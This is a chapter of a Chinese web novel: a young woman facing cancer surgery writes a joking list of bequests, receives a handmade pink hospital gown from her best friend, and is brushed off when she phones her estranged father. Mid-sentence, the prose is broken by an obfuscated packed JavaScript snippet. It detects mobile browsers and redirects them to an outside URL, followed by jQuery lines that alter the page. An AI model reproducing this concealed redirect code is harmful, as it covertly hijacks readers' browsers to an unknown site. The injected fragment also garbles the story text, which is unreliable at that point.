第⑧章
周日晚上，客厅里亮着灯，姜瑶盘腿坐在地毯上，面前摊着几张从台账本上撕下来的横格纸。
笔帽咬在嘴里，留下一圈深深的牙印。
她眉头拧着，表情严肃得像在起草什么关乎国计民生的重大文件。
纸头最上方，原本写了两个大字：遗书。
她盯着看了半分钟，拿起笔，用力将那两个字涂成一团漆黑的墨疙瘩。
什么遗书，太晦气，太正式，太像真的了。
她姜瑶才二十五岁，人生这场戏还没演到高潮，凭什么提前写谢幕词？
笔尖悬空，重新落下。
新的标题诞生：姜瑶女士未竟事业清单（暂行版）
这个好。
未竟事业，听着就充满不甘和潜力，暗示主人绝不会轻易狗带。
暂行版，更是充满了灵活机动的战略智慧。
她开始写，笔迹时而用力划破纸背，时而轻飘飘得几乎飞起。
第一条：关于坐骑。
粉红小电动（牌照东A·BK985，原粉色漆已基本褪成限量款渐变色粉白，车筐有点歪，左刹车偶尔吱呀响），正式赠予我的好同志，好战友醋言女士。
附加要求：第一，每周至少充两次电，保持它社区一枝花的活力。
第二，不得擅自更改车身颜色，尤其不准喷成窦主任POLO衫那种藏蓝色。
第三，车筐里随时备有火腿肠，以备投喂社区里的流浪小动物。
第四，若窦主任企图征用此车作为社区公务车，可采取包括但不限于拔钥匙、放气、在车座撒图钉等方式进行合理反抗。
写到这里，她仿佛看到小醋推着粉红小电动，一脸“我怎么摊上个这么个玩意儿”的无奈样子，嘴角刚弯起来，又抿紧了。
第二条：关于遗产核心。
私人记账小本本（黑色，软皮，边角磨损，内含大量社区八卦，未收回债务及窦主任言行黑历史），留给窦建明主任。
附加说明：此乃本人毕生心血之作，望窦主任在百忙之中认真研读，深刻反思，或有延年益寿、促进毛发再生之奇效。
笔尖移到第三条，停住了。
第三条：关于陆炎。
写下这个名字后，笔尖似乎有了重量。
陆医生，302的住户，辣条攻击对象，诊断下达者，手术执行人。
该给他留点什么呢？诅咒？警告？好像都不太对。
她和他之间那点仇，在“癌”这个字面前，忽然变得轻飘飘，黏糊糊，说不清道不明。
他递过来的手术方案是冷的，说你不会死时的语气是平的，可他真的在等她签字，真的会拿着手术刀切开她的皮肤，去对付那颗该死的“毒种子”。
想起他冰凉的手指，平静无波的眼睛，还有……
姜瑶烦躁地抓抓头发，在“陆炎”后面画了个大大的问号，又觉得不解气，涂掉，改成一个张牙舞爪的骷髅人。
想了想，又在骷髅头旁边画了个歪歪扭翘的……听诊器？
算了。
她最终在那一行下面写道：暂时没想到，此人太复杂，待议。
清单写完了，不长。
她拿起来，对着灯光看了看，这轻飘飘的两页纸，好像就是她二十五年来攒下的全部产业和牵挂。
真寒酸啊！
她扯扯嘴角，把纸折好，塞进记账小本本里，一起压在枕头底下。
敲门声响起。
姜瑶趿拉着拖鞋去开门。
小醋站在门外，手里拎个印着服装品牌Logo的无纺布袋，眼圈有点红，但努力在笑。
“还没睡？”小醋走进来，把袋子放在桌上，“给你带了点东西。”
“不会是《五年高考三年模拟》吧？我跟你说，我现在这脑子，看不了这个。”姜瑶想逗她，声音却有点哑。
小醋没接话，从袋子里掏出一套叠得整整齐齐的衣服，展开，是一套……病号服？
但又不是医院那种千篇一律的蓝白或淡绿色条纹，是一套是浅浅的樱花粉，布料看起来柔软很多。
“我……我找人定做的，”小醋小声说，把衣服抖开，“纯棉的，透气，比医院的舒服点。尺寸按我的身材量的，应该差不多。”
姜瑶愣住，接过来，触手果然柔软。
心里某个地方，酸酸胀胀的。
“还有这个，”小醋指指病号服上衣的左胸位置，上面用同色系的线，绣着一行小字，不仔细看几乎发现不了。
姜瑶凑近，才看清绣的是什么：此面朝上，内有猛虎。
字迹歪歪扭扭，还有点稚气，一看就是小醋自己绣的。
“噗！”姜瑶没忍住，笑出声，眼眶也跟着一热，“小醋同志……你这……”她抖着那件衣服，笑得肩膀直颤，眼泪却猝不及防地滚了下来，“你这是鼓励我进去跟肿瘤打架，还是提醒医生下刀小心点，别惹毛了里面的猛虎？”
小醋也红了眼睛，上前抱住她：“随便你怎么想，反正……你得穿着它，好好的进去，再好好的出来，里面的猛虎……要赢。”
姜瑶把脸埋在小醋的肩膀上，“小醋，”她闷闷地说，“我要是……要是回不来……”
“没有要是！”小醋立刻打断她，抱得更紧，声音也哽咽了，“你必须回来！你还得看我考上公务员，还得帮我分析哪个相亲对象靠谱，还得继续气窦主任……还有，你的粉红小电动，我才不要呢！我自行车骑得好好的！”
姜瑶在她肩上蹭掉眼泪，抬起头，却努力咧开嘴：“行，那说好了，粉红小电动还是我的，不过……”她吸吸鼻子，“我要是真回不来，你就勤快点，多给我烧点好东西。不要纸糊的别墅跑车，那玩意儿不实用。要烧就烧真的……呃，模型也行，还有，记得每年清明给我放窦主任最新讲话录音，让我在下面也乐乐。最重要的……”
她看着小醋哭得通红的眼睛，认真地说：“记得托梦告诉我行测的答案，特别是图形推理和数量关系，你研究那么久，肯定有心得。”
小醋锤了她肩膀一下，又哭又笑：“你想得美！要答案自己回来考！”
小醋离开后，房间里重新变得安静，甚至比之前更静。
粉色病号服的存在，无声地提醒着即将到来的一切。
姜瑶在房间里踱了几步，视线扫过母亲的遗像，扫过窗外的夜色，最后落在手机上。
通讯录往下滑，滑过小醋，滑过窦主任，滑过社区的大爷大妈，“爸爸”那个名字，沉在很下面，几乎从来没被点开过。
上一次通话，是很多年前的春节。她打过去拜年，对面响了好久才接。
背景音很嘈杂，有小孩的哭闹和电视声，父亲的声音匆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214379|197445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
匆忙忙，说了不到一分钟就挂了，连注意身体都没说全。
手指在那个名字上悬了很久，屏幕暗了又按亮。
告诉他吗？
告诉那个早早就离开，很快有了新家庭，这些年来对她们不闻不问，仿佛前尘往事都只是一段无关紧要插曲的男人，他的女儿明天要上手术台，去切掉可能致命的肿瘤？
好像没什么必要。
他大概也不在乎。
或许还会觉得麻烦，打破他平静的生活。
可是……万一呢？万一在手术台上真的下不来呢？
他是她法律上唯一的直系亲属，总得让他知道，她死亡的原因吧？
不是失踪，不是意外，是生病，治不好的那种。
指尖颤抖，终于还是按了下去。
电话拨通，漫长的等待音。
一声，两声，三声……
就在她以为不会有人接，准备挂断时，那边传来一个有些模糊的女声：“喂？”
不是父亲，是个声音听起来不算年轻的女人的声音。
姜瑶喉头一紧：“您好，我……我找姜建国。”她甚至叫了父亲的全名，像个陌生人。
“姜建国？你是谁？有什么事？”女人的语气透着警惕。
“我是……”姜瑶顿了一下，“姜瑶，他女儿，我……明天要做个手术，想……想告诉他一声。”话说出口，自己都觉得没有底气，好像许久不见面的老同学，突然发请帖，只想收份子钱。
电话那头沉默了几秒，随即女人的声音清晰了些：“哦，知道了，但是他睡了，等他醒了我告诉他，祝你一切顺利。孩子明天还要上学，挂了。”
“……”姜瑶攥紧手机，“麻烦您了。”
电话□□脆地挂断。
姜瑶慢慢放下手机，她知道，她一直都知道。
爸爸有了新的家庭，新的妻子，新的孩子。
他们才是一个完整的圆，而她是圆外一个早已被擦去的铅笔印。
以前只是知道，但一直觉得事不关己，无所谓，反正她还有妈妈，后来有自己，有小醋，有窦主任，还有社区可爱的老头老太太。
但此时此刻，她觉得心里有种说不上来的复杂。
没有愤怒，没有悲伤，也没有太多意外。
只是觉得果然如此，果然，她还是一个人。
她走到阳台，推开窗。
夜风吹动她鬓角的碎发，楼下巷子深处还有零星灯火，更远处城市的霓虹彻夜不眠。
想到手术同意书的家属一栏，不会有人签字了，她扯扯嘴角，也好，省事。
关好窗，走到床边，拿起粉色的病号服，贴了贴脸颊，真软。
她把衣服仔细叠好，放在枕头边。然后关掉台灯，躺下。
黑暗中，她睁着眼睛，看着天花板模糊的轮廓。
枕头下压着“未竟事业清单”，旁边是“内有猛虎”的病号服。
明天，她就要独自穿着这身“战袍”，去面对那把手术刀。
妈妈当年，是不是也这样一个人，在黑夜里，等着天亮？
她闭上眼睛，把手轻轻放在左胸，那里即将迎来一场战争。
没关系，她想。
内有猛虎。
虽千万人，吾往矣。
只是这千万人里，好像……真的只有她自己了。